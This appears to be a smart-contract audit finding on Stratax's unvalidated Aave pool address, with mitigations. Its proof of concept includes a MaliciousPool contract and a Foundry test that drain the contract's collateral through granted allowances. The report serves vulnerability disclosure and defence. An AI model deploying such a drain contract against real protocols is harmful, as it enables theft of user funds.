Untrusted Pool Configuration Enables Full Fund Drain
Description:
The contract allows setting an arbitrary address as the lending pool during Stratax::initialize:
function initialize(
address _aavePool,
...
) external initializer {
aavePool = IPool(_aavePool);
}
No validation is performed to ensure that _aavePool is a legitimate Aave V3 pool.
Later, during the flash-loan lifecycle, Stratax grants token approvals and performs external calls assuming the pool is trusted:
IERC20(_asset).approve(address(aavePool), totalCollateral);
aavePool.supply(...);
aavePool.borrow(...);
This creates a trust boundary violation:
Stratax gives spending approval to aavePool
Then executes arbitrary external code controlled by that address
A malicious pool can exploit the granted allowance or manipulate execution flow
This is not a classic same-function reentrancy, but a callback-driven malicious integration attack, where control flow is handed to an untrusted contract before the operation is finalized.
Because Stratax is upgradeable and the pool address is configurable, this becomes a realistic risk in:
Misconfiguration during deployment
Governance compromise / upgrade attack
Incorrect address on new networks
Integration testing environments reused in production
Impact:
If a malicious or incorrect pool is configured, it can:
Use the allowance granted by Stratax to transfer tokens out of the contract
Manipulate the execution flow during flashLoanSimple → executeOperation
Drain user-supplied collateral before the position is finalized
Cause permanent loss of funds without violating ERC20 rules
The protocol fully relies on the assumption that aavePool is honest, but that assumption is never enforced on-chain.
This makes the system fragile to configuration or governance errors.
Proof of Concept:
A malicious pool can exploit the approval granted during Stratax::_executeOpenOperation.
Malicious Pool (Test Double)
contract MaliciousPool {
Stratax public stratax;
address public currentCollateralAsset;
bool public drained;
constructor(Stratax _stratax) {
stratax = _stratax;
}
function flashLoanSimple(
address receiver,
address asset,
uint256 amount,
bytes calldata params,
uint16
) external {
stratax.executeOperation(asset, amount, 0, receiver, params);
}
function supply(address asset, uint256 , address , uint16 ) external {
currentCollateralAsset = asset;
}
function borrow(
address ,
uint256 ,
uint256 ,
uint16 ,
address
) external {
if (!drained) {
drained = true;
MockERC20 t = MockERC20(currentCollateralAsset);
uint256 bal = t.balanceOf(address(stratax));
if (bal > 0) {
t.transferFrom(address(stratax), address(this), bal);
}
}
}
function getUserAccountData(address)
external
pure
returns (uint256, uint256, uint256, uint256, uint256, uint256)
{
return (0, 0, 0, 0, 0, 2e18);
}
function repay(address, uint256, uint256, address) external pure returns (uint256) {
return 0;
}
function withdraw(address, uint256, address) external pure returns (uint256) {
return 0;
}
}
Foundry Test Demonstrating the Attack Path
function test_MaliciousPoolDrainsStrataxDuringBorrow() external {
vm.startPrank(OWNER);
uint256 flashLoanAmount = 10 ether;
uint256 collateralAmount = 100 ether;
assertEq(collateralToken.balanceOf(address(stratax)), 0);
assertEq(collateralToken.balanceOf(address(pool)), 0);
stratax.createLeveragedPosition(
address(collateralToken),
flashLoanAmount,
collateralAmount,
address(borrowToken),
1 ether,
hex"deadbeef",
0
);
assertTrue(pool.drained(), "drain did not happen");
assertEq(collateralToken.balanceOf(address(stratax)), 0, "Stratax still holds collateral");
assertEq(collateralToken.balanceOf(address(pool)), collateralAmount, "Pool did not receive drained collateral");
vm.stopPrank();
}
This demonstrates that a malicious pool can abuse allowances granted by Stratax during execution.
Recommended Mitigation:
The fix is not adding nonReentrant.
This issue is caused by trusting an unverified external dependency.
1. Enforce Trusted Pool (Recommended)
Hardcode or immutably set the official Aave pool:
- IPool public aavePool;
+ IPool public immutable aavePool;
Set in constructor (or initializer once) and never allow arbitrary replacement.
2. Validate Pool Codehash
Ensure the configured address is the real Aave deployment:
bytes32 constant AAVE_POOL_CODEHASH = 0x...;
require(address(_aavePool).codehash == AAVE_POOL_CODEHASH, "Untrusted pool");
3. Avoid Persistent Allowances
Grant exact allowances only when needed and reset afterward:
IERC20(_asset).approve(address(aavePool), 0);
IERC20(_asset).approve(address(aavePool), amount);
IERC20(_asset).approve(address(aavePool), 0);
Or use:
SafeERC20.forceApprove(token, address(aavePool), amount);
4. (Optional Defense-in-Depth) Add Integration Allowlist
mapping(address => bool) public trustedPool;
require(trustedPool[_aavePool], "Pool not approved");